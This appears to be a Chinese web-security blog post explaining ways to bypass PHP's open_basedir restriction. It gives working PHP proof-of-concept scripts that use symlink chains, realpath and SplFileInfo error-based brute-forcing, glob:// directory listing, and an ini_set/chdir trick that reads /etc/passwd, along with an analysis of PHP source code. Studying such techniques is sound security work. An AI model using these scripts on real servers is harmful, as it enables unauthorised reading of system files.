一、open_basedir

看一下php.ini里面的描述:

 ; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其目录的路径,也可用符号"."来代表当前目录。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。(其实我也是才知道的)
比如open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的,所以如果要将访问限制在仅为指定的目录,可以将open_basedir = /dir/user/

二、Bypass

命令执行

为什么选命令执行,因为open_basedir和命令执行无关,就可以直接获取目标文件。

如果遇到disable_functions,就多换几个函数;如果关键字被过滤,办法也很多,可以参考大佬文章

【安全技术学习文档】

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其实就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd
payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

 <?php
highlight_file ( __FILE__ );
mkdir ( "A" ); //创建目录
chdir ( "A" ); //切换目录
mkdir ( "B" );
chdir ( "B" );
mkdir ( "C" );
chdir ( "C" );
mkdir ( "D" );
chdir ( "D" );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
symlink ( "A/B/C/D" , "aaa" );
symlink ( "aaa/../../../../etc/passwd" , "abc" );
unlink ( "aaa" );
mkdir ( "aaa" );
?>

暴力破解

realpath()

realpath是用来将参数path所指的相对路径转换成绝对路径,然后存于参数resolved_path所指的字符串 数组 或 指针 中的一个函数。 如果resolved_path为NULL,则该函数调用malloc分配一块大小为PATH_MAX的内存来存放解析出来的绝对路径,并返回指向这块区域的指针。

有意思的是,在开启open_basedir后,当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。

如果一直爆破,是特别麻烦的。。。所以可以借助通配符来进行爆破,条件:Windows环境。

 <?php
highlight_file ( __FILE__ );
ini_set ( 'open_basedir' ,  dirname ( __FILE__ ));
printf ( "<b>open_basedir: %s</b><br />" ,  ini_get ( 'open_basedir' ));
set_error_handler ( 'isexists' );
$dir = 'd:/WEB/' ;
$file = '' ;
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ;
for  ( $i= 0 ;  $i  <  strlen ( $chars );  $i ++ )   {  $file = $dir  .  $chars [ $i ]   .  '<><' ; realpath ( $file ); }
function isexists ( $errno ,  $errstr ) { $regexp = '/File((.*)) is not within/' ; preg_match ( $regexp ,  $errstr ,  $matches ); if  ( isset ( $matches [ 1 ]))   { printf ( "%s <br/>" ,  $matches [ 1 ]); } } ?>

bindtextdomain()以及SplFileInfo::getRealPath()

除了realpath(),还有bindtextdomain()和SplFileInfo::getRealPath()作用类似。同样是可以得到绝对路径。

bindtextdomain(string $domain, ?string $directory): string|false

$directory存在时,会返回$directory的值,若不存在,则返回false。

另外值得注意的是,Windows环境下是没有bindtextdomain函数的,而在Linux环境下是存在的。

SplFileInfo 类为单个文件的信息提供高级面向对象的接口,SplFileInfo::getRealPath 类方法是用于获取文件的绝对路径。

为什么把这两个放在一块?因为和上面的 bindtextdomain 一样,是基于报错判断的,然后再进行爆破。

 <?php
ini_set ( 'open_basedir' ,  dirname ( __FILE__ ));
printf ( "<b>open_basedir: %s</b><br />" ,  ini_get ( 'open_basedir' ));
$basedir = 'D:/test/' ;
$arr = array ();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789' ;
for  ( $i= 0 ;  $i  <  strlen ( $chars );  $i ++ )   {  $info = new SplFileInfo ( $basedir  .  $chars [ $i ]   .  '<><' ); $re = $info-> getRealPath (); if  ( $re )   { dump ( $re ); } }
function dump ( $s ){ echo $s  .  '<br/>' ; ob_flush (); flush (); } ?>

glob:// 伪协议

glob:// — 查找匹配的文件路径模式

设计缺陷导致的任意文件名列出 :由于PHP在设计的时候(可以通过源码来进行分析),对于glob伪协议的实现过程中不检测open_basedir,以及safe_mode也是不会检测的,由此可利用glob:// 罗列文件名
(也就是说在可读权限下,可以得到文件名,但无法读取文件内容;也就是单纯的罗列目录,能用来绕过open_basedir)

单用 glob:// 是没有办法绕过的,要结合其它函数来实现

DirectoryIterator+glob://

DirectoryIterator 是php5中增加的一个类,为用户提供一个简单的查看目录的接口,结合这两个方式,我们就可以在php5.3以后版本对目录进行列举。

 <?php
highlight_file ( __FILE__ );
printf ( '<b>open_basedir : %s </b><br />' ,  ini_get ( 'open_basedir' ));
$a = $_GET [ 'a' ];
$b = new DirectoryIterator ( $a );
foreach ( $b as $c ){ echo ( $c-> __toString () . '<br>' ); } ?>

即可列出根目录下的文件,但问题是,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

opendir()+readdir()+glob://

opendir() 函数为打开目录句柄,readdir() 函数为从目录句柄中读取条目。结合两个函数即可列举根目录中的文件:

 <?php
highlight_file ( __FILE__ );
$a = $_GET [ 'c' ];
if  (  $b = opendir ( $a )   )   { while  (   ( $file = readdir ( $b ))   !== false  )   { echo $file . "<br>" ; } closedir ( $b ); } ?>

同样,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

姿势最骚的——利用ini_set()绕过

ini_set()

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

 <?php
highlight_file ( __FILE__ );
mkdir ( 'Andy' );    //创建目录
chdir ( 'Andy' );    //切换目录
ini_set ( 'open_basedir' , '..' );    //把open_basedir切换到上层目录
chdir ( '..' );    //切换到根目录
chdir ( '..' );
chdir ( '..' );
ini_set ( 'open_basedir' , '/' );    //设置open_basedir为根目录
echo file_get_contents ( '/etc/passwd' );    //读取/etc/passwd

从php底层去研究ini_set属于web-pwn的范畴了,这一块我真的不太会,所以去请教了一位二进制的师傅,指导了一下入手点。

if ( php_check_open_basedir_ex ( ptr , 0 ) != 0 ) {/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */efree ( pathbuf );return FAILURE ;}

php_check_open_basedir_ex()如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。

那我们跟进此函数

if ( strlen ( path ) > ( MAXPATHLEN - 1 )) {php_error_docref ( NULL , E_WARNING , "File name is longer than the maximum allowed path length on this platform (%d): %s" , MAXPATHLEN , path );errno = EINVAL ;return - 1 ;
}
#define PATH_MAX                 1024 /* max bytes in pathname */

该函数会判断路径名称是否过长,在官方设定中给定范围是小于1024。

此外,另一个检测函数php_check_specific_open_basedir(),同样我们继续跟进

if ( strcmp ( basedir , "." ) || ! VCWD_GETCWD ( local_open_basedir , MAXPATHLEN )) {/* Else use the unmodified path */strlcpy ( local_open_basedir , basedir , sizeof ( local_open_basedir ));}
path_len = strlen ( path );
if ( path_len > ( MAXPATHLEN - 1 )) {/* empty and too long paths are invalid */return - 1 ;
}

比对目录,并给local_open_basedir进行赋值,并检查目录名的长度是否合法,接下来,利用expand_filepath()将传入的path,以绝对路径的格式保存在resolved_name,将local_open_basedir的值存放于resolved_basedir,然后二者进行比较。

if ( strncmp ( resolved_basedir , resolved_name , resolved_basedir_len ) == 0 )
{if ( resolved_name_len > resolved_basedir_len && resolved_name [ resolved_basedir_len - 1 ] != PHP_DIR_SEPARATOR ) { return - 1 ;} else {/* File is in the right directory */return 0 ;}
}
else {/* /openbasedir/ and /openbasedir are the same directory */if ( resolved_basedir_len == ( resolved_name_len + 1 ) && resolved_basedir [ resolved_basedir_len - 1 ] == PHP_DIR_SEPARATOR ) {          if ( strncasecmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) {if ( strncmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) {return 0 ;}}return - 1 ;}
}

进行比较的两个值均是由expand_filepath函数生成的,因此要实现bypass php_check_open_basedir_ex,关键就是bypass expand_filepath

还是一样,跟进expand_filepath函数

根据师傅所说,在我们跟进到virtual_file_ex得到关键语句:

if ( ! IS_ABSOLUTE_PATH ( path , path_length )) {if ( state-> cwd_length == 0 ) {/* 保存 relative path */start = 0 ;memcpy ( resolved_path , path , path_length + 1 );} else {int state_cwd_length = state-> cwd_length ;state-> cwd_length = path_length ;memcpy ( state-> cwd , resolved_path , state-> cwd_length + 1 );

是目录拼接操作,如果path不是绝对路径,同时state->cwd_length == 0长度为0,那么会将path作为绝对路径,储存在resolved_path。否则将会在state->cwd后拼接,那么重点就在于path_length

path_length = tsrm_realpath_r ( resolved_path , start , path_length , & ll , & t , use_realpath , 0 , NULL );
/*tsrm_realpath_r():删除双反斜线 .  .. 和前一个目录*/

总的来说,expand_filepath()在保存相对路径和绝对路径的时候,而open_basedir()如果为相对路径的话,是会实时变化的,这就是问题所在。在POC中每次目录操作都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的目录全都会上跳。

比如初始设定open_basedir为/a/b/c/d,第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a,第四次chdir后变为/,那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

三、总结

其实我感觉如果直接能RCE,那肯定最好;然后相比之下最后一种姿势最骚;暴力破解应该是最繁琐的,不过也不失为一种方法的ma。

【web安全】你的open_basedir安全吗?相关推荐

  1. php mysql可以跨站_PHP防跨站之open_basedir目录设置

    php为了安全性考虑,有一项 open_basedir 的设置.根据你web服务器环境,open_basedir可以在几个地方设置. 首先 在php.ini中配置. ;open_basedir = 如 ...

  2. Web安全之文件包含漏洞

    什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件.而无需再次编写,这种 文件调用的过程一般被称为文件包含. 例如:include "conn ...

  3. thinkphp5 open_basedir 补充

    假如php.ini 里没有开 open_basedir 注释 那么在nginx里 加上这一段 但是需要注意 在fastcgi.conf里  要注释掉 每一个单独的程序 单独指定路径 下面为参考的 但是 ...

  4. linux安全技术课程报告,综合实例一+linux平台WEB安全技术研究报告.doc

    综合实例一linux平台WEB安全技术研究报告 摘 要: 根据网络安全的"木桶理论",网络安全是由若干"木板"元素的安全决定,因此本文就Linux平台下WEB服 ...

  5. CTFSHOW 菜狗杯--WEB

    WEB签到 eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); 简单的解释下这个嵌 ...

  6. CTFSHOW WEB 1-100

    web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sql注入 <?php ...

  7. CTFSHOW WEB入门

    ----------信息搜集---------- 源码泄露 查看源码即可 前台JS绕过 直接开发者工具查看源码 当然也可以抓包查看 也可以禁用js查看源码 协议头信息泄露 或者抓一下包也可 robot ...

  8. CTFSHOW web入门 命令执行+文件包含+PHP特性

    刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 ...

  9. 读书笔记——吴翰清《白帽子讲Web安全》

    目录 第一篇 世界观安全 一 我的安全世界观 第二篇 客户端脚本安全 一 浏览器安全 二 跨站脚本攻击(XSS) 三 跨站点请求伪造(CSRF) 四 点击劫持(ClickJacking) 五 HTML ...

最新文章

  1. 排列(permutation)2_6
  2. vba excel 开发游戏_为什么要学习VBA?
  3. node.js入门 - 12.api:进程(process)
  4. ios如何判断键盘是否已经显示
  5. UserCF,基于用户的协同过滤算法
  6. 简历要求中“ 扎实的JAVA基础”的学习方法
  7. Ajax(二)-XMLHttpRequest(核心)对象的属性和方法
  8. java 元类_[译]什么是元类metaclass?
  9. linux的前端环境搭建-安装配置git客户端与github连接
  10. [导入]哪种图像格式最好?
  11. 学习记录1——vissim4.3安装和vissim4.3时间修改工具使用
  12. android虚拟摇杆
  13. JS 微信emoji表情数组
  14. 类继承和接口继承的差别
  15. 软件测试常见面试题目(1)pareto法则,帕累托法则,28杀虫剂怪事,木桶原理,Good-enough原则群集效应,测试与调试的区别,QA以及职责,测试工程师和软件质量保证的,测试提交的缺陷开发人员
  16. 数学文章 关于圆锥体积公式的证明
  17. 计算机位移指令的作用,移位指令
  18. 计算机如何安装程序,如何手动安装计算机驱动程序
  19. krpano 场景切换 通知_krpano 场景转换模式
  20. 小米面试题:手机分身,电话号码隐藏。

热门文章

  1. 编程笔试(解析及代码实现):字符串反转(字符串逆序输出)代码实现十多种方法对比(解析思路及其耗费时间)详细攻略
  2. 成功解决ModuleNotFoundError: No module named ‘minepy.mine‘
  3. CV:传统视觉知识—机器视觉系统的基础知识(机器视觉三要素+典型的工业机器视觉系统五大组件)
  4. Bug总结:python语言中出现的import error错误的解决思路
  5. 成功解决from nets import inception_resnet_v2 ModuleNotFoundError: No module named 'nets'
  6. 机器学习实战-数据探索(变量变换、生成)
  7. 【数据结构复习】(1)绪论
  8. python+requests+re匹配抓取猫眼上映电影信息
  9. hibernate映射简单实例
  10. uva 1614奇怪的股市(归纳法证明,贪心)